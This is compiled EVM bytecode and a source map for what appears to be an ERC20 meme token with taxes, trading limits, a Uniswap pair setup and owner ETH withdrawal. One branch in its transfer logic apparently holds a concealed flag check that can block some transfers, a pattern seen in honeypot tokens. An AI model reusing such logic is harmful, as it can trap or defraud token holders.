104755760405162461bcd60e51b815260040161046c90611718565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e65760405162461bcd60e51b815260040161046c90611718565b6104f26009600a6116f3565b610500906301406f40611701565b600e5561050f6009600a6116f3565b61051d906301406f40611701565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61054d6009600a6116f3565b61055b906301406f40611701565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105975760405162461bcd60e51b815260040161046c90611718565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e09030906105d26009600a6116f3565b610434906301406f40611701565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610630573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610654919061174d565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d7919061174d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610721573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610745919061174d565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103b2338484610ade565b5f546001600160a01b0316331461079c5760405162461bcd60e51b815260040161046c90611718565b601354600160a01b900460ff16156107f65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046c565b6012546001600160a01b031663f305d7194730610827816001600160a01b03165f9081526001602052604090205490565b5f5f61083a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108a0573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c59190611768565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561091a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093e9190611793565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109815760405162461bcd60e51b815260040161046c90611718565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109b8573d5f5f3e3d5ffd5b50565b6001600160a01b038316610a1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b5f8111610c055760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b5f806009610c148460066117b2565b610c1e91906117c5565b610c299060036117b2565b601354909150600160b01b900460ff161580610c4e5750601354600160a81b900460ff165b15610d07576001600160a01b0385165f90815260016020526040902054610c769084906117c5565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ca59084906117b2565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf89087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d3157505f546001600160a01b03858116911614155b8015610d4b57506005546001600160a01b03858116911614155b15611042576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d8d575f5ffd5b600d545f03610dc557610dc26064610dbc600a54600d5411610db157600654610db5565b6008545b86906111ae565b90611233565b91505b600854600d54118015610def57506001600160a01b0385165f9081526004602052604090205460ff165b15610e0d57600854600d5411610e05575f610e07565b5f5b60ff1690505b6013546001600160a01b038681169116148015610e3857506012546001600160a01b03858116911614155b8015610e5c57506001600160a01b0384165f9081526003602052604090205460ff16155b15610f5f57600e54831115610eb35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161046c565b600f5483610ed5866001600160a01b03165f9081526001602052604090205490565b610edf91906117b2565b1115610f2d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046c565b610f486064610dbc600a54600d5411610db157600654610db5565b600d80549193505f610f59836117d8565b91905055505b6013546001600160a01b038581169116148015610f8557506001600160a01b0385163014155b15610fb257610faf6064610dbc600b54600d5411610fa557600754610db5565b60095486906111ae565b91505b305f90815260016020526040902054601354600160a81b900460ff16158015610fe857506013546001600160a01b038681169116145b8015610ffd5750601354600160b01b900460ff165b801561100c5750600c54600d54115b1561104057601054811115611038576110386110338561102e84601154611274565b611274565b611288565b6110406113f8565b505b81156110ba57305f90815260016020526040902054611061908361142e565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110b19086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110dc908261148c565b6001600160a01b0386165f9081526001602052604090205561111f611101848461148c565b6001600160a01b0386165f908152600160205260409020549061142e565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611168868661148c565b604051908152602001610cf8565b5f81848411156111995760405162461bcd60e51b815260040161046c91906114f9565b505f6111a584866117c5565b95945050505050565b5f825f036111bd57505f6103b6565b5f6111c88385611701565b9050826111d585836117f0565b1461122c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b9392505050565b5f61122c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cd565b5f818311611282578261122c565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ce576112ce61180f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611325573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611349919061174d565b8160018151811061135c5761135c61180f565b6001600160a01b03928316602091820292909201015260125461138291309116846109bb565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ba9085905f90869030904290600401611823565b5f604051808303815f87803b1580156113d1575f5ffd5b505af11580156113e3573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109b8573d5f5f3e3d5ffd5b5f8061143a83856117b2565b90508381101561122c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b5f61122c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611176565b5f81836114ed5760405162461bcd60e51b815260040161046c91906114f9565b505f6111a584866117f0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109b8575f5ffd5b5f5f60408385031215611553575f5ffd5b823561155e8161152e565b946020939093013593505050565b5f5f5f6060848603121561157e575f5ffd5b83356115898161152e565b925060208401356115998161152e565b929592945050506040919091013590565b5f602082840312156115ba575f5ffd5b813561122c8161152e565b5f5f604083850312156115d6575f5ffd5b82356115e18161152e565b915060208301356115f18161152e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561164b5780850481111561162f5761162f6115fc565b600184161561163d57908102905b60019390931c928002611614565b935093915050565b5f82611661575060016103b6565b8161166d57505f6103b6565b8160018114611683576002811461168d576116a9565b60019150506103b6565b60ff84111561169e5761169e6115fc565b50506001821b6103b6565b5060208310610133831016604e8410600b84101617156116cc575081810a6103b6565b6116d85f198484611610565b805f19048211156116eb576116eb6115fc565b029392505050565b5f61122c60ff841683611653565b80820281158282048414176103b6576103b66115fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561175d575f5ffd5b815161122c8161152e565b5f5f5f6060848603121561177a575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156117a3575f5ffd5b8151801515811461122c575f5ffd5b808201808211156103b6576103b66115fc565b818103818111156103b6576103b66115fc565b5f600182016117e9576117e96115fc565b5060010190565b5f8261180a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118735783516001600160a01b031683526020938401939092019160010161184c565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fda486739ea68990d45c537edace70d7c42b9d76427d4c2e35302604b4f473564736f6c634300081b0033

3578:7826:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5944:83;;;;;;;;;;-1:-1:-1;6014:5:0;;;;;;;;;;;;;;;;;5944:83;;;;;;;:::i;:::-;;;;;;;;6775:161;;;;;;;;;;-1:-1:-1;6775:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6775:161:0;945:187:1;4702:51:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4702:51:0;1137:177:1;6221:95:0;;;;;;;;;;;;;:::i;6944:313::-;;;;;;;;;;-1:-1:-1;6944:313:0;;;;;:::i;:::-;;:::i;6130:83::-;;;;;;;;;;-1:-1:-1;6130:83:0;;4307:1;1974:36:1;;1962:2;1947:18;6130:83:0;1832:184:1;6324:117:0;;;;;;;;;;-1:-1:-1;6324:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6417:16:0;6390:7;6417:16;;;:7;:16;;;;;;;6324:117;2659:148;;;;;;;;;;;;;:::i;:::-;;10009:159;;;;;;;;;;;;;:::i;4516:53::-;;;;;;;;;;;;;;;;5544:392;;;;;;;;;;;;;:::i;2445:79::-;;;;;;;;;;-1:-1:-1;2483:7:0;2510:6;2445:79;;-1:-1:-1;;;;;2510:6:0;;;2419:51:1;;2407:2;2392:18;2445:79:0;2273:203:1;4576:55:0;;;;;;;;;;;;;;;;6035:87;;;;;;;;;;-1:-1:-1;6107:7:0;;;;;;;;;;;;-1:-1:-1;;;6107:7:0;;;;6035:87;;6449:167;;;;;;;;;;-1:-1:-1;6449:167:0;;;;;:::i;:::-;;:::i;4638:57::-;;;;;;;;;;;;;;;;10918:483;;;;;;;;;;;;;:::i;10275:107::-;;;;;;;;;;;;;:::i;6624:143::-;;;;;;;;;;-1:-1:-1;6624:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6732:18:0;;;6705:7;6732:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6624:143;6775:161;6850:4;6867:39;2102:10;6890:7;6899:6;6867:8;:39::i;:::-;-1:-1:-1;6924:4:0;6775:161;;;;;:::o;6221:95::-;6274:7;4361:13;4307:1;4361:2;:13;:::i;:::-;4350:24;;:8;:24;:::i;:::-;6294:14;;6221:95;:::o;6944:313::-;7042:4;7059:36;7069:6;7077:9;7088:6;7059:9;:36::i;:::-;7106:121;7115:6;2102:10;7137:89;7175:6;7137:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7137:19:0;;;;;;:11;:19;;;;;;;;2102:10;7137:33;;;;;;;;;;:37;:89::i;:::-;7106:8;:121::i;:::-;-1:-1:-1;7245:4:0;6944:313;;;;;:::o;2659:148::-;2572:6;;-1:-1:-1;;;;;2572:6:0;2102:10;2572:22;2564:67;;;;-1:-1:-1;;;2564:67:0;;;;;;;:::i;:::-;;;;;;;;;2766:1:::1;2750:6:::0;;2729:40:::1;::::0;-1:-1:-1;;;;;2750:6:0;;::::1;::::0;2729:40:::1;::::0;2766:1;;2729:40:::1;2797:1;2780:19:::0;;-1:-1:-1;;;;;;2780:19:0::1;::::0;;2659:148::o;10009:159::-;2572:6;;-1:-1:-1;;;;;2572:6:0;2102:10;2572:22;2564:67;;;;-1:-1:-1;;;2564:67:0;;;;;;;:::i;:::-;4361:13:::1;4307:1;4361:2;:13;:::i;:::-;4350:24;::::0;:8:::1;:24;:::i;:::-;10062:12;:22:::0;4361:13:::1;4307:1;4361:2;:13;:::i;:::-;4350:24;::::0;:8:::1;:24;:::i;:::-;10095:14;:22:::0;10133:27:::1;4361:13;4307:1;4361:2;:13;:::i;:::-;4350:24;::::0;:8:::1;:24;:::i;:::-;10133:27;::::0;1283:25:1;;;1271:2;1256:18;10133:27:0::1;;;;;;;10009:159::o:0;5544:392::-;2572:6;;-1:-1:-1;;;;;2572:6:0;2102:10;2572:22;2564:67;;;;-1:-1:-1;;;2564:67:0;;;;;;;:::i;:::-;5597:15:::1;:104:::0;;-1:-1:-1;;;;;;5597:104:0::1;5648:42;5597:104:::0;;::::1;::::0;;;5712:58:::1;::::0;5729:4:::1;::::0;4361:13:::1;4307:1;4361:2;:13;:::i;:::-;4350:24;::::0;:8:::1;:24;:::i;5712:58::-;5815:15;;;;;;;;;-1:-1:-1::0;;;;;5815:15:0::1;-1:-1:-1::0;;;;;5815:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5797:55:0::1;;5875:4;5895:15;;;;;;;;;-1:-1:-1::0;;;;;5895:15:0::1;-1:-1:-1::0;;;;;5895:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5797:131;::::0;-1:-1:-1;;;;;;5797:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5420:32:1;;;5797:131:0::1;::::0;::::1;5402:51:1::0;5489:32;;5469:18;;;5462:60;5375:18;;5797:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5781:13;:147:::0;;-1:-1:-1;;;;;;5781:147:0::1;-1:-1:-1::0;;;;;5781:147:0;;;::::1;::::0;;;::::1;::::0;;5544:392::o;6449:167::-;6527:4;6544:42;2102:10;6568:9;6579:6;6544:9;:42::i;10918:483::-;2572:6;;-1:-1:-1;;;;;2572:6:0;2102:10;2572:22;2564:67;;;;-1:-1:-1;;;2564:67:0;;;;;;;:::i;:::-;10980:11:::1;::::0;-1:-1:-1;;;10980:11:0;::::1;;;10979:12;10971:48;;;::::0;-1:-1:-1;;;10971:48:0;;5735:2:1;10971:48:0::1;::::0;::::1;5717:21:1::0;5774:2;5754:18;;;5747:30;5813:25;5793:18;;;5786:53;5856:18;;10971:48:0::1;5533:347:1::0;10971:48:0::1;11030:15;::::0;-1:-1:-1;;;;;11030:15:0::1;:31;11069:21;11114:4;11134:24;11114:4:::0;-1:-1:-1;;;;;6417:16:0;6390:7;6417:16;;;:7;:16;;;;;;;6324:117;11134:24:::1;11173:1;11189;11205:7;2483::::0;2510:6;-1:-1:-1;;;;;2510:6:0;;2445:79;11205:7:::1;11030:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11030:223:0;;;-1:-1:-1;;;;;6206:32:1;;;11030:223:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11227:15:0::1;6454:19:1::0;;;6447:35;6160:19;;11030:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11271:13:0::1;::::0;11302:15:::1;::::0;11264:71:::1;::::0;-1:-1:-1;;;11264:71:0;;-1:-1:-1;;;;;11302:15:0;;::::1;11264:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;11271:13:0;::::1;::::0;-1:-1:-1;11264:29:0::1;::::0;7101:18:1;;11264:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11346:11:0::1;:18:::0;;-1:-1:-1;;;;11375:18:0;-1:-1:-1;;;11375:18:0;;;10918:483::o;10275:107::-;2572:6;;-1:-1:-1;;;;;2572:6:0;2102:10;2572:22;2564:67;;;;-1:-1:-1;;;2564:67:0;;;;;;;:::i;:::-;2483:7;2510:6;;10326:48:::1;::::0;-1:-1:-1;;;;;2510:6:0;;;;10352:21:::1;10326:48:::0;::::1;;;::::0;10352:21;;10326:48;2483:7;10326:48;10352:21;2510:6;10326:48;::::1;;;;;;;;;;;;;;;;;;;;10275:107::o:0;7265:335::-;-1:-1:-1;;;;;7358:19:0;;7350:68;;;;-1:-1:-1;;;7350:68:0;;7717:2:1;7350:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7350:68:0;7515:400:1;7350:68:0;-1:-1:-1;;;;;7437:21:0;;7429:68;;;;-1:-1:-1;;;7429:68:0;;8122:2:1;7429:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7429:68:0;7920:398:1;7429:68:0;-1:-1:-1;;;;;7508:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7560:32;;1283:25:1;;;7560:32:0;;1256:18:1;7560:32:0;;;;;;;7265:335;;;:::o;7608:2287::-;-1:-1:-1;;;;;7696:18:0;;7688:68;;;;-1:-1:-1;;;7688:68:0;;8525:2:1;7688:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;7688:68:0;8323:401:1;7688:68:0;-1:-1:-1;;;;;7775:16:0;;7767:64;;;;-1:-1:-1;;;7767:64:0;;8931:2:1;7767:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;7767:64:0;8729:399:1;7767:64:0;7859:1;7850:6;:10;7842:64;;;;-1:-1:-1;;;7842:64:0;;9335:2:1;7842:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;7842:64:0;9133:405:1;7842:64:0;7917:14;;7962:1;7953:8;7955:6;7953:1;:8;:::i;:::-;:10;;;;:::i;:::-;7950:14;;:1;:14;:::i;:::-;7980:11;;7935:29;;-1:-1:-1;;;;7980:11:0;;;;7979:12;;:22;;-1:-1:-1;7995:6:0;;-1:-1:-1;;;7995:6:0;;;;7979:22;7975:209;;;-1:-1:-1;;;;;8034:13:0;;;;;;:7;:13;;;;;;:22;;8050:6;;8034:22;:::i;:::-;-1:-1:-1;;;;;8018:13:0;;;;;;;:7;:13;;;;;;:38;;;;8085:11;;;;;;;:20;;8099:6;;8085:20;:::i;:::-;-1:-1:-1;;;;;8071:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8125:26;;;;;;;;;;8144:6;1283:25:1;;1271:2;1256:18;;1137:177;8125:26:0;;;;;;;;8166:7;;7608:2287;;;:::o;7975:209::-;2483:7;2510:6;-1:-1:-1;;;;;8198:15:0;;;2510:6;;8198:15;;;;:32;;-1:-1:-1;2483:7:0;2510:6;-1:-1:-1;;;;;8217:13:0;;;2510:6;;8217:13;;8198:32;:50;;;;-1:-1:-1;8240:8:0;;-1:-1:-1;;;;;8234:14:0;;;8240:8;;8234:14;;8198:50;8194:1373;;;-1:-1:-1;;;;;8300:11:0;;;;;;;:7;:11;;;;;;;8281:8;;;;;8273:17;;;;:38;;-1:-1:-1;;8273:38:0;8300:11;;;;8299:12;8273:38;;;;;8265:47;;;;;;8330:9;;8341:1;8330:12;8327:136;;8371:76;8443:3;8371:67;8393:15;;8383:9;;:25;8382:55;;8423:14;;8382:55;;;8410:12;;8382:55;8371:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8362:85;;8327:136;8490:12;;8480:9;;:22;:37;;;;-1:-1:-1;;;;;;8504:13:0;;;;;;:7;:13;;;;;;;;8480:37;8477:98;;;8536:12;;8526:9;;:22;:47;;8560:13;8526:47;;;8549:10;8526:47;8519:54;;;;8477:98;8601:13;;-1:-1:-1;;;;;8593:21:0;;;8601:13;;8593:21;:55;;;;-1:-1:-1;8632:15:0;;-1:-1:-1;;;;;8618:30:0;;;8632:15;;8618:30;;8593:55;:75;;;;-1:-1:-1;;;;;;8654:14:0;;;;;;:10;:14;;;;;;;;8652:16;8593:75;8589:409;;;8708:12;;8698:6;:22;;8690:60;;;;-1:-1:-1;;;8690:60:0;;10008:2:1;8690:60:0;;;9990:21:1;10047:2;10027:18;;;10020:30;10086:27;10066:18;;;10059:55;10131:18;;8690:60:0;9806:349:1;8690:60:0;8803:14;;8793:6;8777:13;8787:2;-1:-1:-1;;;;;6417:16:0;6390:7;6417:16;;;:7;:16;;;;;;;6324:117;8777:13;:22;;;;:::i;:::-;:40;;8769:79;;;;-1:-1:-1;;;8769:79:0;;10362:2:1;8769:79:0;;;10344:21:1;10401:2;10381:18;;;10374:30;10440:28;10420:18;;;10413:56;10486:18;;8769:79:0;10160:350:1;8769:79:0;8876:76;8948:3;8876:67;8898:15;;8888:9;;:25;8887:55;;8928:14;;8887:55;;8876:76;8971:9;:11;;8867:85;;-1:-1:-1;8971:9:0;:11;;;:::i;:::-;;;;;;8589:409;9021:13;;-1:-1:-1;;;;;9015:19:0;;;9021:13;;9015:19;:43;;;;-1:-1:-1;;;;;;9038:20:0;;9053:4;9038:20;;9015:43;9012:172;;;9089:79;9164:3;9089:70;9111:16;;9101:9;;:26;9100:58;;9143:15;;9100:58;;;9129:13;;9089:6;;:10;:70::i;:79::-;9080:88;;9012:172;9247:4;9198:28;6417:16;;;:7;:16;;;;;;9273:6;;-1:-1:-1;;;9273:6:0;;;;9272:7;:30;;;;-1:-1:-1;9289:13:0;;-1:-1:-1;;;;;9283:19:0;;;9289:13;;9283:19;9272:30;:45;;;;-1:-1:-1;9306:11:0;;-1:-1:-1;;;9306:11:0;;;;9272:45;:79;;;;;9333:18;;9321:9;;:30;9272:79;9268:288;;;9398:17;;9375:20;:40;9372:135;;;9438:69;9455:51;9459:6;9467:38;9471:20;9493:11;;9467:3;:38::i;:::-;9455:3;:51::i;:::-;9438:16;:69::i;:::-;9526:14;:12;:14::i;:::-;8250:1317;8194:1373;9580:8;;9577:149;;9641:4;9625:22;;;;:7;:22;;;;;;:34;;9652:6;9625:26;:34::i;:::-;9618:4;9602:22;;;;:7;:22;;;;;;;:57;;;;9677:37;;-1:-1:-1;;;;;9677:37:0;;;;;;;9707:6;1283:25:1;;1271:2;1256:18;;1137:177;9677:37:0;;;;;;;;9577:149;-1:-1:-1;;;;;9750:13:0;;;;;;:7;:13;;;;;;:25;;9768:6;9750:17;:25::i;:::-;-1:-1:-1;;;;;9736:13:0;;;;;;:7;:13;;;;;:39;9798:35;9814:18;:6;9825;9814:10;:18::i;:::-;-1:-1:-1;;;;;9798:11:0;;;;;;:7;:11;;;;;;;:15;:35::i;:::-;-1:-1:-1;;;;;9786:11:0;;;;;;;:7;:11;;;;;:47;;;;9849:38;;;9868:18;:6;9879;9868:10;:18::i;:::-;9849:38;;1283:25:1;;;1271:2;1256:18;9849:38:0;1137:177:1;1199:190:0;1285:7;1321:12;1313:6;;;;1305:29;;;;-1:-1:-1;;;1305:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1345:9:0;1357:5;1361:1;1357;:5;:::i;:::-;1345:17;1199:190;-1:-1:-1;;;;;1199:190:0:o;1397:246::-;1455:7;1479:1;1484;1479:6;1475:47;;-1:-1:-1;1509:1:0;1502:8;;1475:47;1532:9;1544:5;1548:1;1544;:5;:::i;:::-;1532:17;-1:-1:-1;1577:1:0;1568:5;1572:1;1532:17;1568:5;:::i;:::-;:10;1560:56;;;;-1:-1:-1;;;1560:56:0;;11079:2:1;1560:56:0;;;11061:21:1;11118:2;11098:18;;;11091:30;11157:34;11137:18;;;11130:62;-1:-1:-1;;;11208:18:1;;;11201:31;11249:19;;1560:56:0;10877:397:1;1560:56:0;1634:1;1397:246;-1:-1:-1;;;1397:246:0:o;1651:132::-;1709:7;1736:39;1740:1;1743;1736:39;;;;;;;;;;;;;;;;;:3;:39::i;9903:98::-;9960:7;9987:1;9985;:3;9984:9;;9992:1;9984:9;;;-1:-1:-1;9990:1:0;9903:98;-1:-1:-1;9903:98:0:o;10390:483::-;5155:6;:13;;-1:-1:-1;;;;5155:13:0;-1:-1:-1;;;5155:13:0;;;10492:16:::1;::::0;;10506:1:::1;10492:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10492:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10492:16:0::1;10468:40;;10537:4;10519;10524:1;10519:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10519:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10563:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10563:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10519:7;;10563:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10553:4;10558:1;10553:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10553:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10628:15:::1;::::0;10596:62:::1;::::0;10613:4:::1;::::0;10628:15:::1;10646:11:::0;10596:8:::1;:62::i;:::-;10669:15;::::0;:196:::1;::::0;-1:-1:-1;;;10669:196:0;;-1:-1:-1;;;;;10669:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10750:11;;10669:15:::1;::::0;10792:4;;10819::::1;::::0;10839:15:::1;::::0;10669:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5191:6:0;:14;;-1:-1:-1;;;;5191:14:0;;;-1:-1:-1;;;;10390:483:0:o;10176:91::-;10219:8;;:40;;-1:-1:-1;;;;;10219:8:0;;;;10237:21;10219:40;;;;;:8;:40;:8;:40;10237:21;10219:8;:40;;;;;;;;;;;;;;;;;;;868:179;926:7;;958:5;962:1;958;:5;:::i;:::-;946:17;;987:1;982;:6;;974:46;;;;-1:-1:-1;;;974:46:0;;12709:2:1;974:46:0;;;12691:21:1;12748:2;12728:18;;;12721:30;12787:29;12767:18;;;12760:57;12834:18;;974:46:0;12507:351:1;1055:136:0;1113:7;1140:43;1144:1;1147;1140:43;;;;;;;;;;;;;;;;;:3;:43::i;1791:189::-;1877:7;1912:12;1905:5;1897:28;;;;-1:-1:-1;;;1897:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1936:9:0;1948:5;1952:1;1948;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192